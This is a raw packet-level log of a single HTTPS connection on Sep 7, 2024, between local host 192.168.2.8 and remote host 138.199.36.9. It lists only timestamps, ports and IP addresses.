Sep 7, 2024 23:15:27.984441042 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.984457970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984472990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984503984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.984509945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.984539986 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.985111952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.985126019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.985184908 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:27.985189915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:27.985220909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072129011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072146893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072211027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072252989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072271109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072292089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072319984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072328091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072345972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072372913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072432995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072448969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072491884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072499037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072542906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072601080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072619915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072645903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072652102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072684050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072737932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072752953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072779894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072786093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072803974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072820902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072895050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072913885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072937965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072942972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072963953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072968006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.072985888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.072998047 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.073004007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.073045969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.073446035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.073460102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.073488951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.073494911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.073523045 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.073539972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.160463095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.160489082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.160559893 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.160590887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.160609961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.160768032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.160851002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.160865068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.160912037 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.160919905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161134958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161151886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161184072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.161192894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161221027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.161237955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.161402941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161416054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161463976 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.161473989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161593914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.161676884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161690950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161741972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.161747932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161880016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.161891937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161907911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161947966 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.161953926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.161987066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.162333965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.162350893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.162398100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.162408113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.162422895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.162441015 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.162524939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.162539005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.162581921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.162590027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.162895918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.254293919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.254317999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.254362106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.254415035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.254451990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.254488945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.254513979 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.254981995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.254996061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.255047083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.255064011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256127119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256146908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256202936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.256221056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256241083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.256382942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256397963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256441116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.256450891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256603003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256623030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256633043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.256659031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.256664991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256697893 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.256953955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.256968975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.257031918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.257039070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.257049084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.257080078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.257091045 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.257097006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.257132053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.342696905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.342724085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.342782021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.342813969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.342838049 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.342864037 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.343168974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.343183994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.343245029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.343255043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.343343973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.343391895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.343410015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.343451023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.343457937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.343488932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.343508959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.344809055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.344825029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.344866991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.344877005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.344897032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.344902039 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.344918966 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.344926119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.344949007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.344954014 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.344991922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.345091105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.345112085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.345160007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.345166922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.345227003 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.345534086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.345549107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.345675945 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.345683098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.345719099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.345830917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.345845938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.345896006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.345902920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.345941067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.431303024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.431324005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.431413889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.431457043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.431499958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.431597948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.431612015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.431667089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.431674004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.431711912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.431931973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.431945086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.432013035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.432024002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.432117939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.433098078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433113098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433176994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.433191061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433222055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.433401108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433413982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433478117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.433485985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433538914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.433584929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433598042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433655977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.433662891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433696985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.433928967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.433943033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.434004068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.434010983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.434092999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.434411049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.434427023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.434482098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.434489965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.434881926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.520124912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.520143032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.520221949 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.520276070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.520332098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.520654917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.520668030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.520761013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.520771027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.520844936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.520947933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.520962000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.521014929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.521023035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.521275997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.521939039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.521951914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522030115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.522038937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522180080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.522294044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522306919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522367001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.522372961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522408009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522427082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522463083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.522470951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522488117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.522521973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.522867918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522880077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.522933960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.522942066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.523050070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.523287058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.523304939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.523365021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.523375034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.523576021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.609499931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.609514952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.609571934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.609601974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.609626055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.609638929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.610079050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.610093117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.610146999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.610155106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.610414028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.610433102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.610485077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.610492945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.610537052 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.611612082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.611625910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.611664057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.611670971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.611706972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.612044096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612060070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612113953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.612122059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612176895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.612370968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612387896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612438917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.612447023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612512112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.612705946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612720966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612811089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.612812996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612827063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612881899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612890959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.612912893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.612942934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.612962961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.697946072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.697964907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.698041916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.698086977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.698159933 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.698513985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.698529959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.698590040 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.698600054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.698826075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.699003935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.699019909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.699078083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.699086905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.699198961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.700007915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.700022936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.700082064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.700099945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.700213909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.700496912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.700511932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.700558901 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.700568914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.700647116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.700730085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.700746059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.700795889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.700803995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.700866938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.701376915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.701391935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.701471090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.701503038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.701528072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.701558113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:28.701575041 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.701581955 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.753443956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:28.786477089 CEST	443	49706	138.199.36.9	192.168.2.8
